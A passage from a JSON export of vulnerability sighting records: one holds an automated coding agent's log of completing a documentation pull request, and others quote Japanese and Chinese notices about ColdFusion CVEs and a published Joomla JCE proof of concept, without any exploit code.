\"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d33e4ee4cbb67-FRA\"} version=HTTP/1.1\n[2026-07-12T04:11:14.296Z] [INFO] \n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.284463Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::transport::child_process: Child exited gracefully signal: 15 (SIGTERM)\n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.284538Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: serve finished quit_reason=Cancelled\n[2026-07-12T04:11:14.296Z] [INFO] \n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.373690Z DEBUG codex_otel::metrics::client: flushing OTEL metrics\n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.374046Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToFlush\"\n[2026-07-12T04:11:14.378Z] [INFO] 2026-07-12T04:11:14.374064Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:14.378Z] [INFO] \n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.410609Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=9 time_taken_in_millis=36\n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.411778Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:11:14.415Z] [INFO] 2026-07-12T04:11:14.411805Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:11:14.415Z] [INFO] \n[2026-07-12T04:11:14.425Z] [INFO] 2026-07-12T04:11:14.414609Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:14.425Z] [INFO] \n[2026-07-12T04:11:14.447Z] [INFO] 2026-07-12T04:11:14.447013Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:14.447Z] [INFO] \n[2026-07-12T04:11:14.473Z] [INFO] 2026-07-12T04:11:14.471457Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:14.473Z] [INFO] \n[2026-07-12T04:11:14.477Z] [INFO] 2026-07-12T04:11:14.474176Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:14.477Z] [INFO] \n[2026-07-12T04:11:14.479Z] [INFO] 2026-07-12T04:11:14.478545Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:14.479Z] [INFO] \n[2026-07-12T04:11:14.503Z] [INFO] 2026-07-12T04:11:14.502747Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:14.503Z] [INFO] \n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503715Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503895Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503926Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadAdjustingRemainingIntervalAfterFlush\" remaining_interval=58\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.503936Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=58601\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504160Z DEBUG opentelemetry_sdk:  name=\"MeterProvider.Shutdown\" User initiated shutdown of MeterProvider.\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504223Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToShutdown\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.504238Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.505388Z DEBUG opentelemetry_sdk:  name=\"NoMetricsCollected\"\n[2026-07-12T04:11:14.508Z] [INFO] 2026-07-12T04:11:14.505415Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:14.508Z] [INFO] \n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.519949Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExporterShutdown\" shutdown_result=\"Ok(())\"\n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.520013Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExiting\" reason=\"ShutdownRequested\"\n[2026-07-12T04:11:14.520Z] [INFO] 2026-07-12T04:11:14.520020Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadStopped\"\n[2026-07-12T04:11:14.520Z] [INFO] \n[2026-07-12T04:11:14.607Z] [INFO] \ud83d\udcdd Final Codex message captured in /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:11:14.614Z] [INFO] Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\n[2026-07-12T04:11:14.614Z] [INFO] \n[2026-07-12T04:11:14.614Z] [INFO] Key outcomes:\n[2026-07-12T04:11:14.614Z] [INFO] \n[2026-07-12T04:11:14.614Z] [INFO] - Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\n[2026-07-12T04:11:14.614Z] [INFO] - Added a patch changelog fragment and removed the placeholder file.\n[2026-07-12T04:11:14.614Z] [INFO] - Committed and pushed as `4dcfb8e`.\n[2026-07-12T04:11:14.614Z] [INFO] - Updated the PR title and description and marked it ready for review.\n[2026-07-12T04:11:14.614Z] [INFO] - Working tree is clean and synchronized with `origin/main`.\n[2026-07-12T04:11:14.614Z] [INFO] - Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\n[2026-07-12T04:11:14.614Z] [INFO] - PR is mergeable with `CLEAN` status.\n[2026-07-12T04:11:14.620Z] [INFO] \ud83d\udcca Codex JSON events: thread.started=1, turn.started=1, item.completed=61, item.started=33, unknown=12, item.updated=3, turn.completed=1\n[2026-07-12T04:11:14.622Z] [INFO] \ud83d\udce6 Codex item types: agent_message=7, todo_list=5, command_execution=56, reasoning=21, web_search=4, file_change=4\n[2026-07-12T04:11:14.655Z] [INFO] \ud83d\udcc8 Codex usage from turn.completed: 109,352 input, 2,200,832 cache read, 16,849 output across 1 turn(s)\n[2026-07-12T04:11:14.662Z] [INFO] \ud83e\udde0 Codex reasoning summaries observed: 21\n[2026-07-12T04:11:14.664Z] [INFO] \ud83d\udcbb Codex command executions observed: 28\n[2026-07-12T04:11:14.668Z] [INFO] \ud83d\udcdd Codex file change items observed: 2\n[2026-07-12T04:11:14.671Z] [INFO] \ud83c\udf10 Codex web searches observed: 2\n[2026-07-12T04:11:14.678Z] [INFO] \ud83d\udccb Codex todo list updates observed: 1 (latest: 6 items)\n[2026-07-12T04:11:14.683Z] [INFO] \ud83d\udcd0 Codex usage fields observed: input_tokens, cached_input_tokens, output_tokens, reasoning_output_tokens\n[2026-07-12T04:11:14.690Z] [INFO] \ud83e\udd16 Codex exec JSON did not expose model IDs; using requested model for reporting: gpt-5.6-sol\n[2026-07-12T04:11:15.884Z] [INFO] \ud83d\udcb0 Codex public pricing estimate: $4.052557\n[2026-07-12T04:11:15.892Z] [INFO]    Long-context pricing applied because peak prompt exceeded 272,000 input tokens\n[2026-07-12T04:11:15.909Z] [INFO] \n[2026-07-12T04:11:15.909Z] [INFO] \n[2026-07-12T04:11:15.909Z] [INFO] \u2705 Codex command completed\n[2026-07-12T04:11:15.918Z] [INFO] \ud83d\udcdd Captured result summary from Codex output\n[2026-07-12T04:11:15.949Z] [INFO] \ud83e\uddf9 Removing temporary Codex prompt file: /tmp/codex_prompt_1783828932620_1.txt\n[2026-07-12T04:11:15.955Z] [INFO] \ud83e\uddf9 Removing temporary Codex last-message file: /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:11:16.014Z] [INFO] \n[2026-07-12T04:11:16.014Z] [INFO] \ud83d\udcca [DISK] phase=after_agent bytes=428590957 deltaBytes=425179006 path=/tmp/gh-issue-solver-1783828904396 size=409 MB delta=+405 MB\n[2026-07-12T04:11:16.018Z] [INFO] \ud83d\udcc8 Resource usage (after AI execution):\n[2026-07-12T04:11:16.018Z] [INFO]    CPU load: 3.88 5.37 4.59 (6 CPUs)\n[2026-07-12T04:11:16.018Z] [INFO]    Memory: 9.9 GB available / 11.7 GB total (1.8 GB used)\n[2026-07-12T04:11:16.018Z] [INFO]    Process RSS: 111 MB, heap 32 MB\n[2026-07-12T04:11:16.018Z] [INFO]    Disk (/): 148.5 GB available / 192.7 GB total (22.9% used)\n[2026-07-12T04:11:16.018Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_agent ts=2026-07-12T04%3A11%3A16.016Z load1=3.88 load5=5.37 load15=4.59 cpuCount=6 memTotalBytes=12541489152 memAvailableBytes=10612178944 memUsedBytes=1929310208 processRssBytes=116322304 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=159451586560 diskUsedBytes=47431917568 diskUsedPercent=22.925013566867968 mem=9.9%20GB%20available%20%2F%2011.7%20GB%20total disk=148.5%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-07-12T04:11:16.020Z] [INFO] \n[2026-07-12T04:11:16.020Z] [INFO] \ud83d\udd0d Checking for uncommitted changes...\n[2026-07-12T04:11:16.084Z] [INFO] \u2705 No uncommitted changes found\n[2026-07-12T04:11:16.085Z] [INFO] \n[2026-07-12T04:11:16.085Z] [INFO] === Session Summary ===\n[2026-07-12T04:11:16.087Z] [INFO] \u2705 Session ID: 019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:16.090Z] [INFO] \u2705 Complete log file: /home/box/solve-2026-07-12T04-01-22-890Z.log\n[2026-07-12T04:11:16.094Z] [INFO] \n[2026-07-12T04:11:16.097Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-07-12T04:11:16.098Z] [INFO]    Solve resume mode:   \"/home/box/.nvm/versions/node/v20.20.2/bin/node\" \"/home/box/.bun/bin/solve\" \"https://github.com/link-foundation/meta-ontology/issues/5\" --resume \"019f547d-6d2b-7162-ae64-b2b122b89c77\" --tool \"codex\" --model \"gpt-5.6-sol\" --fallback-model \"gpt-5.6-terra\" --working-directory \"/tmp/gh-issue-solver-1783828904396\"\n[2026-07-12T04:11:16.102Z] [INFO] \n[2026-07-12T04:11:16.104Z] [INFO] \ud83d\udd0d Checking if AI created any comments during session (--auto-attach-solution-summary)...\n[2026-07-12T04:11:16.599Z] [STDOUT] konard\n[2026-07-12T04:11:16.609Z] [INFO] \ud83d\udd0e Checking comments by 'konard' after session start 2026-07-12T04:02:03.320Z (PR #6, issue #5)\n[2026-07-12T04:11:17.050Z] [STDOUT] []\n[2026-07-12T04:11:17.060Z] [INFO]    \ud83d\udce8 PR conversation comments after session start by 'konard' (excluding tool-generated): 0\n[2026-07-12T04:11:17.775Z] [STDOUT] []\n[2026-07-12T04:11:17.787Z] [INFO]    \ud83d\udcdd PR review (inline) comments after session start by 'konard': 0\n[2026-07-12T04:11:18.401Z] [STDOUT] []\n[2026-07-12T04:11:18.410Z] [INFO]    \ud83d\udce8 Issue comments after session start by 'konard' (excluding tool-generated): 0\n[2026-07-12T04:11:18.412Z] [INFO] \ud83d\udcdd No AI comments detected, attaching working session summary...\n[2026-07-12T04:11:20.100Z] [STDOUT] github.com\n  \u2713 Logged in to github.com account konard (/home/box/.config/gh/hosts.yml)\n  - Active account: true\n  - Git operations protocol: https\n  - Token: gho_************************************\n  - Token scopes: 'gist', 'read:org', 'repo', 'user', 'workflow'\n[2026-07-12T04:11:21.121Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments/4949893232\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/pull/6#issuecomment-4949893232\",\"issue_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\",\"id\":4949893232,\"node_id\":\"IC_kwDOSNlfVs8AAAABJwlgcA\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?u=eef2c91c80a671714d3fd8c08ef91b297840056b&v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"created_at\":\"2026-07-12T04:11:20Z\",\"updated_at\":\"2026-07-12T04:11:20Z\",\"author_association\":\"MEMBER\",\"body\":\"\\n## Working session summary\\n\\nImplemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\\n\\n---\\n*This summary was automatically extracted from the AI working session output.*\",\"reactions\":{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments/4949893232/reactions\",\"total_count\":0,\"+1\":0,\"-1\":0,\"laugh\":0,\"hooray\":0,\"confused\":0,\"heart\":0,\"rocket\":0,\"eyes\":0},\"performed_via_github_app\":null,\"minimized\":null,\"pin\":null}\n[2026-07-12T04:11:21.134Z] [INFO] \u2705 Working session summary attached to pr #6 (id=4949893232)\n[2026-07-12T04:11:21.138Z] [INFO] \n[2026-07-12T04:11:21.138Z] [INFO] \ud83d\udd0d Searching for created pull requests or comments...\n[2026-07-12T04:11:21.629Z] [STDOUT] konard\n[2026-07-12T04:11:21.663Z] [INFO] \n[2026-07-12T04:11:21.663Z] [INFO] \ud83d\udd0d Checking for pull requests from branch issue-5-e2602184e2c5...\n[2026-07-12T04:11:22.302Z] [STDOUT] [{\"createdAt\":\"2026-07-12T04:01:56Z\",\"headRefName\":\"issue-5-e2602184e2c5\",\"isDraft\":false,\"number\":6,\"state\":\"OPEN\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"updatedAt\":\"2026-07-12T04:11:20Z\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}]\n[2026-07-12T04:11:22.316Z] [INFO]   \u2705 Found pull request #6: \"Document OpenMetadata best-practice adoption plan\"\n[2026-07-12T04:11:22.788Z] [STDOUT] ## Summary\n\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\n- Enumerate all explicit and implied requirements and map each to a solution.\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n- Remove the issue-solver placeholder and add a patch changelog fragment.\n\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n\nFixes #5\n\n## Research method\n\nResearch was performed on 2026-07-12 using:\n\n- all issue and PR comment/review API streams (all empty at collection time);\n- the official OpenMetadata repository and latest release metadata;\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n\n## Deliverables\n\n- `docs/case-studies/issue-5/README.md`\n- `docs/case-studies/issue-5/source-inventory.md`\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\n- `docs/case-studies/issue-5/raw-data/*.json`\n\n## Verification\n\n- `cargo fmt --all -- --check`\n- `cargo test --all-features --verbose` \u2014 18 tests passed\n- `cargo test --doc --verbose`\n- `cargo clippy --all-targets --all-features`\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\n- JSON snapshots parsed successfully\n- `git diff --check`\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\n\n## Follow-up recommendation\n\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.\n[2026-07-12T04:11:22.816Z] [INFO]   \u2705 PR body already contains issue reference\n[2026-07-12T04:11:22.824Z] [INFO]   \u2705 PR is already ready for review\n[2026-07-12T04:11:22.830Z] [INFO] \n[2026-07-12T04:11:22.830Z] [INFO] \ud83d\udcce Uploading solution draft log to Pull Request...\n[2026-07-12T04:11:22.995Z] [INFO]   \ud83e\udd16 Using result JSON modelUsage (1 models): gpt-5.6-sol\n[2026-07-12T04:11:23.292Z] [INFO]   \ud83e\udd16 Model info fetched for comment\n", "creation_timestamp": "2026-07-12T04:13:16.240912Z"}, {"uuid": "754728fe-7736-4bec-ba85-70e635ef43e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48318", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msygiclvjc2w", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8106\u5f31\u6027 - \u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u304f\u3001\u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\n\u300cAdobe ColdFusion\u300d\u306b\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002Adobe\u3067\u306f\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3057\u3001\u65e9\u6025\u306a\u5bfe\u5fdc\u3092\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4f4e\u6a29\u9650\u3067\u60aa\u7528\u3067\u304d\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u300cCVE-2026-48318\u300d\u306e\u8106\u5f31\u6027\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2\u304c\u300c9.9\u300d\u3068\u9ad8\u3044\u3002\n\n\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-48322\u300d\u3084\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106\u5f31\u6027\u300cCVE-2026-48284\u300d\u3001\u8a8d\u53ef\u306e\u4e0d\u5099\u300cCVE-2026-48321\u300d...", "creation_timestamp": "2026-08-13T19:57:20.930181Z"}, {"uuid": "c2f93e5a-36af-4ae3-93de-e9ad920e7c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88354", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ywh-jfellus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-11 13:44:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-48907 - Joomla! JCE extension < 2.9.99.5 unauthenticated RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T07:00:04.695323Z"}, {"uuid": "aaa26e9a-b1bd-4e34-84a6-fcc8b581fd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48322", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msygiclvjc2w", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8106\u5f31\u6027 - \u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u304f\u3001\u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\n\u300cAdobe ColdFusion\u300d\u306b\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002Adobe\u3067\u306f\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3057\u3001\u65e9\u6025\u306a\u5bfe\u5fdc\u3092\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4f4e\u6a29\u9650\u3067\u60aa\u7528\u3067\u304d\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u300cCVE-2026-48318\u300d\u306e\u8106\u5f31\u6027\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2\u304c\u300c9.9\u300d\u3068\u9ad8\u3044\u3002\n\n\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-48322\u300d\u3084\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106\u5f31\u6027\u300cCVE-2026-48284\u300d\u3001\u8a8d\u53ef\u306e\u4e0d\u5099\u300cCVE-2026-48321\u300d...", "creation_timestamp": "2026-08-13T19:57:20.980555Z"}, {"uuid": "cabc1fb8-3515-4c70-8b99-529d7686af36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msygiclvjc2w", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8106\u5f31\u6027 - \u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u304f\u3001\u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\n\u300cAdobe ColdFusion\u300d\u306b\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002Adobe\u3067\u306f\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3057\u3001\u65e9\u6025\u306a\u5bfe\u5fdc\u3092\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4f4e\u6a29\u9650\u3067\u60aa\u7528\u3067\u304d\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u300cCVE-2026-48318\u300d\u306e\u8106\u5f31\u6027\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2\u304c\u300c9.9\u300d\u3068\u9ad8\u3044\u3002\n\n\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-48322\u300d\u3084\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106\u5f31\u6027\u300cCVE-2026-48284\u300d\u3001\u8a8d\u53ef\u306e\u4e0d\u5099\u300cCVE-2026-48321\u300d...", "creation_timestamp": "2026-08-13T19:57:21.035916Z"}, {"uuid": "3d4eaa0e-e9e8-4094-a042-542a0c9769a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48321", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msygiclvjc2w", "content": "\u300cAdobe ColdFusion\u300d\u306b\u8106\u5f31\u6027 - \u60aa\u7528\u30ea\u30b9\u30af\u9ad8\u304f\u3001\u65e9\u6025\u306b\u5bfe\u5fdc\u3092\n\n\u300cAdobe ColdFusion\u300d\u306b\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002Adobe\u3067\u306f\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3057\u3001\u65e9\u6025\u306a\u5bfe\u5fdc\u3092\u6c42\u3081\u3066\u3044\u308b\u3002\n\n...\n\n\u306a\u304b\u3067\u3082\u4f4e\u6a29\u9650\u3067\u60aa\u7528\u3067\u304d\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u300cCVE-2026-48318\u300d\u306e\u8106\u5f31\u6027\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u3001\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSSv3.1\u300d\u306e\u30d9\u30fc\u30b9\u30b9\u30b3\u30a2\u304c\u300c9.9\u300d\u3068\u9ad8\u3044\u3002\n\n\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-48322\u300d\u3084\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106\u5f31\u6027\u300cCVE-2026-48284\u300d\u3001\u8a8d\u53ef\u306e\u4e0d\u5099\u300cCVE-2026-48321\u300d...", "creation_timestamp": "2026-08-13T19:57:21.073057Z"}, {"uuid": "562e8385-71aa-4026-9996-2e3ac7504ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48732", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88110", "content": "\ud83d\udea8 GitHub 